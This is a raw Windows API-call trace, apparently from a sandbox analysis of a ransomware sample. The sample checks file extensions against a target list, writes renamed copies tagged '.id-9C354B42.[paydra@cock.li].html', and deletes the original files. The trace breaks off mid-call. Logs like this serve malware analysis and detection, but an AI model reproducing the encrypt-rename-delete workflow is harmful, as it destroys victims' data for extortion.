[0043.090] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0043.090] lstrlenW (lpString=".docx") returned 5 [0043.090] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0043.090] lstrlenW (lpString=".pdf") returned 4 [0043.090] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0043.090] lstrlenW (lpString=".xls") returned 4 [0043.090] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0043.090] lstrlenW (lpString=".xlsx") returned 5 [0043.090] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0043.090] lstrlenW (lpString=".ppt") returned 4 [0043.090] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0043.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0043.090] lstrlenW (lpString=".zip") returned 4 [0043.090] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0043.090] lstrlenW (lpString=".rar") returned 4 [0043.090] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0043.090] lstrlenW (lpString=".bz2") returned 4 [0043.090] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0043.090] lstrlenW (lpString=".7z") returned 3 [0043.090] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0043.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0043.090] lstrlenW (lpString=".dbf") returned 4 [0043.090] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0043.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0043.091] lstrlenW (lpString=".1cd") returned 4 [0043.091] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0043.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0043.091] lstrlenW (lpString=".jpg") returned 4 [0043.091] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0043.091] lstrcmpiW (lpString1=".jpg", lpString2=".html") returned 1 [0043.091] lstrlenW (lpString="Garden.jpg") returned 10 [0043.091] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0043.091] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=23871) returned 1 [0043.091] CloseHandle (hObject=0x1e0) returned 1 [0043.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0043.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0043.091] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0043.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0043.091] lstrlenW (lpString=".doc") returned 4 [0043.091] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0043.092] lstrlenW (lpString=".docx") returned 5 [0043.092] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0043.092] lstrlenW (lpString=".pdf") returned 4 [0043.092] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0043.092] lstrlenW (lpString=".xls") returned 4 [0043.092] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0043.092] lstrlenW (lpString=".xlsx") returned 5 [0043.092] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0043.092] lstrlenW (lpString=".ppt") returned 4 [0043.092] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0043.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0043.092] lstrlenW (lpString=".zip") returned 4 [0043.092] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0043.092] lstrlenW (lpString=".rar") returned 4 [0043.092] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0043.092] lstrlenW (lpString=".bz2") returned 4 [0043.092] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0043.092] lstrlenW (lpString=".7z") returned 3 [0043.092] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0043.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0043.092] lstrlenW (lpString=".dbf") returned 4 [0043.092] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0043.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0043.092] lstrlenW (lpString=".1cd") returned 4 [0043.092] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0043.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0043.092] lstrlenW (lpString=".jpg") returned 4 [0043.092] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0043.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0043.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0043.093] lstrlenW (lpString=".doc") returned 4 [0043.093] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0043.093] lstrlenW (lpString=".docx") returned 5 [0043.093] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0043.093] lstrlenW (lpString=".pdf") returned 4 [0043.093] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0043.093] lstrlenW (lpString=".xls") returned 4 [0043.093] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0043.093] lstrlenW (lpString=".xlsx") returned 5 [0043.093] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0043.093] lstrlenW (lpString=".ppt") returned 4 [0043.093] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0043.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0043.093] lstrlenW (lpString=".zip") returned 4 [0043.093] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0043.093] lstrlenW (lpString=".rar") returned 4 [0043.093] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0043.093] lstrlenW (lpString=".bz2") returned 4 [0043.093] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0043.093] lstrlenW (lpString=".7z") returned 3 [0043.093] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0043.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0043.093] lstrlenW (lpString=".dbf") returned 4 [0043.093] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0043.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0043.093] lstrlenW (lpString=".1cd") returned 4 [0043.093] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0043.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0043.093] lstrlenW (lpString=".jpg") returned 4 [0043.093] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0043.094] lstrcmpiW (lpString1=".emf", lpString2=".html") returned -1 [0043.094] lstrlenW (lpString="Genko_1.emf") returned 11 [0043.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0043.095] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=5524) returned 1 [0043.095] CloseHandle (hObject=0x1e0) returned 1 [0043.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf")) returned 0x20 [0043.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0043.095] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0043.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0043.095] lstrlenW (lpString=".doc") returned 4 [0043.095] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0043.095] lstrlenW (lpString=".docx") returned 5 [0043.095] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0043.095] lstrlenW (lpString=".pdf") returned 4 [0043.095] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0043.095] lstrlenW (lpString=".xls") returned 4 [0043.095] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0043.095] lstrlenW (lpString=".xlsx") returned 5 [0043.095] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0043.095] lstrlenW (lpString=".ppt") returned 4 [0043.095] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0043.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0043.095] lstrlenW (lpString=".zip") returned 4 [0043.095] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0043.095] lstrlenW (lpString=".rar") returned 4 [0043.095] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0043.095] lstrlenW (lpString=".bz2") returned 4 [0043.096] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0043.096] lstrlenW (lpString=".7z") returned 3 [0043.096] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0043.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0043.096] lstrlenW (lpString=".dbf") returned 4 [0043.096] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0043.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0043.096] lstrlenW (lpString=".1cd") returned 4 [0043.096] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0043.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0043.096] lstrlenW (lpString=".jpg") returned 4 [0043.096] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0043.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0043.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0043.096] lstrlenW (lpString=".doc") returned 4 [0043.096] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0043.096] lstrlenW (lpString=".docx") returned 5 [0043.096] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0043.096] lstrlenW (lpString=".pdf") returned 4 [0043.096] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0043.096] lstrlenW (lpString=".xls") returned 4 [0043.096] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0043.096] lstrlenW (lpString=".xlsx") returned 5 [0043.096] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0043.096] lstrlenW (lpString=".ppt") returned 4 [0043.096] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0043.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0043.096] lstrlenW (lpString=".zip") returned 4 [0043.097] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0043.097] lstrlenW (lpString=".rar") returned 4 [0043.097] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0043.097] lstrlenW (lpString=".bz2") returned 4 [0043.097] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0043.097] lstrlenW (lpString=".7z") returned 3 [0043.097] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0043.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0043.097] lstrlenW (lpString=".dbf") returned 4 [0043.097] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0043.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0043.097] lstrlenW (lpString=".1cd") returned 4 [0043.097] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0043.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0043.097] lstrlenW (lpString=".jpg") returned 4 [0043.097] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0043.097] lstrcmpiW (lpString1=".emf", lpString2=".html") returned -1 [0043.097] lstrlenW (lpString="Genko_2.emf") returned 11 [0043.097] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0043.097] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=10340) returned 1 [0043.097] CloseHandle (hObject=0x1e0) returned 1 [0043.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf")) returned 0x20 [0043.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0043.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0043.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0043.098] lstrlenW (lpString=".doc") returned 4 [0043.098] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0043.098] lstrlenW (lpString=".docx") returned 5 [0043.098] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0043.098] lstrlenW (lpString=".pdf") returned 4 [0043.098] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0043.098] lstrlenW (lpString=".xls") returned 4 [0043.098] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0043.098] lstrlenW (lpString=".xlsx") returned 5 [0043.098] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0043.098] lstrlenW (lpString=".ppt") returned 4 [0043.098] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0043.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0043.098] lstrlenW (lpString=".zip") returned 4 [0043.098] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0043.098] lstrlenW (lpString=".rar") returned 4 [0043.098] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0043.098] lstrlenW (lpString=".bz2") returned 4 [0043.098] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0043.098] lstrlenW (lpString=".7z") returned 3 [0043.098] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0043.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0043.098] lstrlenW (lpString=".dbf") returned 4 [0043.098] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0043.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0043.099] lstrlenW (lpString=".1cd") returned 4 [0043.099] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0043.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0043.099] lstrlenW (lpString=".jpg") returned 4 [0043.099] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0043.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0043.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0043.099] lstrlenW (lpString=".doc") returned 4 [0043.099] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0043.099] lstrlenW (lpString=".docx") returned 5 [0043.099] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0043.099] lstrlenW (lpString=".pdf") returned 4 [0043.099] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0043.099] lstrlenW (lpString=".xls") returned 4 [0043.099] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0043.099] lstrlenW (lpString=".xlsx") returned 5 [0043.099] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0043.099] lstrlenW (lpString=".ppt") returned 4 [0043.099] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0043.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0043.099] lstrlenW (lpString=".zip") returned 4 [0043.099] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0043.099] lstrlenW (lpString=".rar") returned 4 [0043.099] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0043.099] lstrlenW (lpString=".bz2") returned 4 [0043.099] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0043.099] lstrlenW (lpString=".7z") returned 3 [0043.099] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0043.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0043.099] lstrlenW (lpString=".dbf") returned 4 [0043.099] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0043.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0043.099] lstrlenW (lpString=".1cd") returned 4 [0043.100] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0043.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0043.100] lstrlenW (lpString=".jpg") returned 4 [0043.100] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0043.100] lstrcmpiW (lpString1=".emf", lpString2=".html") returned -1 [0043.100] lstrlenW (lpString="Graph.emf") returned 9 [0043.100] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0044.069] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=116724) returned 1 [0044.069] CloseHandle (hObject=0x218) returned 1 [0044.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf")) returned 0x20 [0044.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.070] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0044.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0044.070] lstrlenW (lpString=".doc") returned 4 [0044.070] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0044.070] lstrlenW (lpString=".docx") returned 5 [0044.070] lstrcmpiW (lpString1=".docx", lpString2="h.emf") returned -1 [0044.070] lstrlenW (lpString=".pdf") returned 4 [0044.070] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0044.070] lstrlenW (lpString=".xls") returned 4 [0044.070] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0044.070] lstrlenW (lpString=".xlsx") returned 5 [0044.070] lstrcmpiW (lpString1=".xlsx", lpString2="h.emf") returned -1 [0044.070] lstrlenW (lpString=".ppt") returned 4 [0044.070] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0044.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0044.070] lstrlenW (lpString=".zip") returned 4 [0044.070] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0044.070] lstrlenW (lpString=".rar") returned 4 [0044.070] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0044.070] lstrlenW (lpString=".bz2") returned 4 [0044.070] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0044.070] lstrlenW (lpString=".7z") returned 3 [0044.070] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0044.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0044.070] lstrlenW (lpString=".dbf") returned 4 [0044.071] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0044.427] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.427] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.427] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0044.725] GetLastError () returned 0x0 [0044.725] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0xb20, lpOverlapped=0x0) returned 1 [0044.726] WriteFile (in: hFile=0x19c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xb30, lpOverlapped=0x0) returned 1 [0044.727] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0044.727] WriteFile (in: hFile=0x19c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.727] SetEndOfFile (hFile=0x19c) returned 1 [0044.728] CloseHandle (hObject=0x19c) returned 1 [0044.728] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.728] SetEndOfFile (hFile=0x1e0) returned 1 [0044.728] CloseHandle (hObject=0x1e0) returned 1 [0044.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0044.729] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 1 [0044.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0044.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0044.729] lstrlenW (lpString=".doc") returned 4 [0044.729] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.729] lstrlenW (lpString=".docx") returned 5 [0044.729] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.729] lstrlenW (lpString=".pdf") returned 4 [0044.729] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.729] lstrlenW (lpString=".xls") returned 4 [0044.729] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.729] lstrlenW (lpString=".xlsx") returned 5 [0044.729] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.729] lstrlenW (lpString=".ppt") returned 4 [0044.729] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0044.729] lstrlenW (lpString=".zip") returned 4 [0044.729] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.730] lstrlenW (lpString=".rar") returned 4 [0044.730] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.730] lstrlenW (lpString=".bz2") returned 4 [0044.730] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.730] lstrlenW (lpString=".7z") returned 3 [0044.730] lstrcmpiW (lpString1=".7z", 